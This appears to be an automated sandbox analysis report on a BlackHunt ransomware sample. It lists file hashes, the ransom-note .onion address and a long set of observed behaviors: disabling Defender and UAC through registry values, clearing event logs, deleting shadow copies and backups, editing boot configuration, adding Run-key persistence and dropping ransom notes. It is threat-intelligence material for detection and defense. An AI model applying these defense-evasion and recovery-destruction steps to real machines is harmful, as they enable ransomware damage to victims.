Analysis
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max time kernel
130s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
18/01/2024, 23:23
Static task
static1
Behavioral task
behavioral1
Sample
53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe
Resource
win10v2004-20231215-en
General
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Target
53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe
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Size
707KB
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MD5
ad9ba68464a552012da03abf4b8a58d9
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SHA1
1dd692aceece4e1db3f09d52f424bdb1d91e1e0f
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SHA256
53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059
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SHA512
6fb643ba312032843223707df450c40a38c8108ffdde7199d78563ce43b0945f52f250a78929efadfe6c6a9e34fe124e9dcca4c8ff65dc7a77196a85d047e21b
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1H8Tvnh:6uaTmkZJ+naie5OTamgEoKxLW2Th
Malware Config
Extracted
F:\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 5704 fsutil.exe 22572 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection Conhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" Conhost.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 22192 wevtutil.exe 22208 wevtutil.exe 22360 wevtutil.exe 22400 wevtutil.exe 22428 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 5672 bcdedit.exe 6704 bcdedit.exe 22516 bcdedit.exe 17700 bcdedit.exe -
Renames multiple (3354) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 9752 wbadmin.exe 22988 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe Key value queried \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Q: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\O: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\S: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\J: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\W: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\P: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\U: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\E: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\T: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\A: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\K: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\B: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\H: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\L: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\N: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\Z: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\M: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\Y: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\I: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\G: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\X: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\R: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\V: 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened (read-only) \??\F: vssadmin.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 3 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\tr-tr\ui-strings.js 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\pl-pl\#BlackHunt_Private.key 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\sl-sl\#BlackHunt_Private.key 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sl-sl\#BlackHunt_ReadMe.hta 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\icons.png 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-gb\#BlackHunt_ReadMe.hta 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\eu-es\#BlackHunt_Private.key 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\#BlackHunt_ReadMe.hta 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\images\themeless\#BlackHunt_Private.key 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ro-ro\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\plugins\#BlackHunt_Private.key 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\fr-fr\#BlackHunt_ReadMe.hta 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\ext\sunjce_provider.jar 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\hr-hr\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\editpdf.svg 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\da-dk\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\core_icons.png 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\en-il\#BlackHunt_ReadMe.hta 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\root\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files\VideoLAN\VLC\lua\http\#BlackHunt_Private.key 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\eu-es\#BlackHunt_Private.key 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\da-dk\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ja-jp\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\appstore.png 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files\VideoLAN\VLC\locale\es\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files\VideoLAN\VLC\locale\nl\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-left-pressed.gif 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\en-il\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\#BlackHunt_ReadMe.hta 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\#BlackHunt_ReadMe.hta 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\THIRDPARTYLICENSEREADME-JAVAFX.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened for modification C:\Program Files\Java\jdk-1.8\lib\packager.jar 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\images\themes\dark\s_checkbox_unselected_18.svg 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\security\cacerts 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\en-gb\#BlackHunt_ReadMe.hta 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\da-dk\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\pt-br\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-gb\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\css\main.css 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fr-ma\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\vlm_cmd.xml 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\Back-48.png 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\sl-si\ui-strings.js 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\#BlackHunt_Private.key 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened for modification C:\Program Files\PingUnregister.vsx 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\forms_received.gif 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fi-fi\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\es-es\#BlackHunt_Private.key 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\nb-no\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\fr-fr\#BlackHunt_Private.key 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\security\trusted.libraries 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\#BlackHunt_ReadMe.hta 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\remove.svg 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\da-dk\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\sl-si\#BlackHunt_ReadMe.hta 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\en-ae\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files\dotnet\shared\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-ma\ui-strings.js 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\da-dk\#BlackHunt_Private.key 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\#BlackHunt_ReadMe.hta 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ar-ae\#BlackHunt_ReadMe.txt 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 7576 23368 WerFault.exe 291 -
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5144 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 6716 vssadmin.exe 6600 vssadmin.exe 7036 vssadmin.exe 22436 vssadmin.exe 9100 vssadmin.exe 8632 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 23228 taskkill.exe -
Modifies registry class 9 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 cmd.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ cmd.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000_Classes\Local Settings cmd.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 23172 PING.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe Token: SeRestorePrivilege 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe Token: SeBackupPrivilege 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe Token: SeTakeOwnershipPrivilege 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe Token: SeAuditPrivilege 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe Token: SeSecurityPrivilege 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe Token: SeIncBasePriorityPrivilege 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe Token: SeBackupPrivilege 640 vssvc.exe Token: SeRestorePrivilege 640 vssvc.exe Token: SeAuditPrivilege 640 vssvc.exe Token: SeBackupPrivilege 11324 wbengine.exe Token: SeRestorePrivilege 11324 wbengine.exe Token: SeSecurityPrivilege 11324 wbengine.exe Token: SeSecurityPrivilege 22192 wevtutil.exe Token: SeBackupPrivilege 22192 wevtutil.exe Token: SeSecurityPrivilege 22208 wevtutil.exe Token: SeBackupPrivilege 22208 wevtutil.exe Token: SeSecurityPrivilege 22360 wevtutil.exe Token: SeBackupPrivilege 22360 wevtutil.exe Token: SeSecurityPrivilege 22428 wevtutil.exe Token: SeBackupPrivilege 22428 wevtutil.exe Token: SeSecurityPrivilege 22400 wevtutil.exe Token: SeBackupPrivilege 22400 wevtutil.exe Token: SeDebugPrivilege 23228 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3880 wrote to memory of 1968 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 90 PID 3880 wrote to memory of 1968 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 90 PID 3880 wrote to memory of 3448 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 92 PID 3880 wrote to memory of 3448 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 92 PID 3880 wrote to memory of 4596 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 94 PID 3880 wrote to memory of 4596 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 94 PID 3880 wrote to memory of 3908 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 95 PID 3880 wrote to memory of 3908 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 95 PID 3880 wrote to memory of 1088 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 97 PID 3880 wrote to memory of 1088 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 97 PID 1968 wrote to memory of 1536 1968 cmd.exe 100 PID 1968 wrote to memory of 1536 1968 cmd.exe 100 PID 3448 wrote to memory of 2848 3448 cmd.exe 101 PID 3448 wrote to memory of 2848 3448 cmd.exe 101 PID 3880 wrote to memory of 4092 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 180 PID 3880 wrote to memory of 4092 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 180 PID 3880 wrote to memory of 4208 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 104 PID 3880 wrote to memory of 4208 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 104 PID 3880 wrote to memory of 220 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 191 PID 3880 wrote to memory of 220 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 191 PID 4596 wrote to memory of 1500 4596 cmd.exe 171 PID 4596 wrote to memory of 1500 4596 cmd.exe 171 PID 1088 wrote to memory of 4488 1088 cmd.exe 110 PID 1088 wrote to memory of 4488 1088 cmd.exe 110 PID 3908 wrote to memory of 3440 3908 cmd.exe 109 PID 3908 wrote to memory of 3440 3908 cmd.exe 109 PID 3880 wrote to memory of 3152 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 192 PID 3880 wrote to memory of 3152 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 192 PID 3880 wrote to memory of 4808 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 113 PID 3880 wrote to memory of 4808 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 113 PID 3880 wrote to memory of 3620 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 116 PID 3880 wrote to memory of 3620 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 116 PID 3880 wrote to memory of 4896 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 115 PID 3880 wrote to memory of 4896 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 115 PID 4092 wrote to memory of 2128 4092 cmd.exe 118 PID 4092 wrote to memory of 2128 4092 cmd.exe 118 PID 3880 wrote to memory of 1644 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 193 PID 3880 wrote to memory of 1644 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 193 PID 220 wrote to memory of 3452 220 Conhost.exe 179 PID 220 wrote to memory of 3452 220 Conhost.exe 179 PID 3152 wrote to memory of 2900 3152 reg.exe 123 PID 3152 wrote to memory of 2900 3152 reg.exe 123 PID 3880 wrote to memory of 4844 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 124 PID 3880 wrote to memory of 4844 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 124 PID 3880 wrote to memory of 3112 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 126 PID 3880 wrote to memory of 3112 3880 53de1f75e245d090b317567b1f15443683222282bc016e7e870a388fa7da0059.exe 126 PID 4808 wrote to memory of 3196 4808 cmd.exe 184 PID 4808 wrote to memory of 3196 4808 cmd.exe 184 PID 3620 wrote to memory of 860 3620 cmd.exe 129 PID 3620 wrote to memory of 860 3620 cmd.exe 129 PID 4208 wrote to memory of 4004 4208 cmd.exe 188 PID 4208 wrote to memory of 4004 4208 cmd.exe 188 PID 4896 wrote to memory of 3520 